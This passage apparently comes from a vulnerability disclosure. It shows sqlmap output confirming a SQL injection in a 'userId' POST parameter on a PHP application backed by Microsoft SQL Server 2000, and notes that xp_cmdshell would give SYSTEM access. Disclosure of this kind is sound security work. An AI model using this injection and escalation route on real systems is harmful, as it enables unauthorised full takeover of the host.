requests:
---
Place: POST
Parameter: userId

do you want to exploit this SQL injection? [Y/n]
[03:27:04] [INFO] testing Microsoft SQL Server
[03:27:04] [WARNING] it is very important not to stress the network
adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses
(option '--time-sec')? [Y/n]
[03:27:12] [INFO] confirming Microsoft SQL Server
[03:27:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: Microsoft SQL Server 2000

The software package ships with MSSQL2000 even though it is a decade+ old,
so a simple xp_cmdshell() will yield SYSTEM access without any trickery.

2) There are other problems such as path disclosures and script injection
issues present.
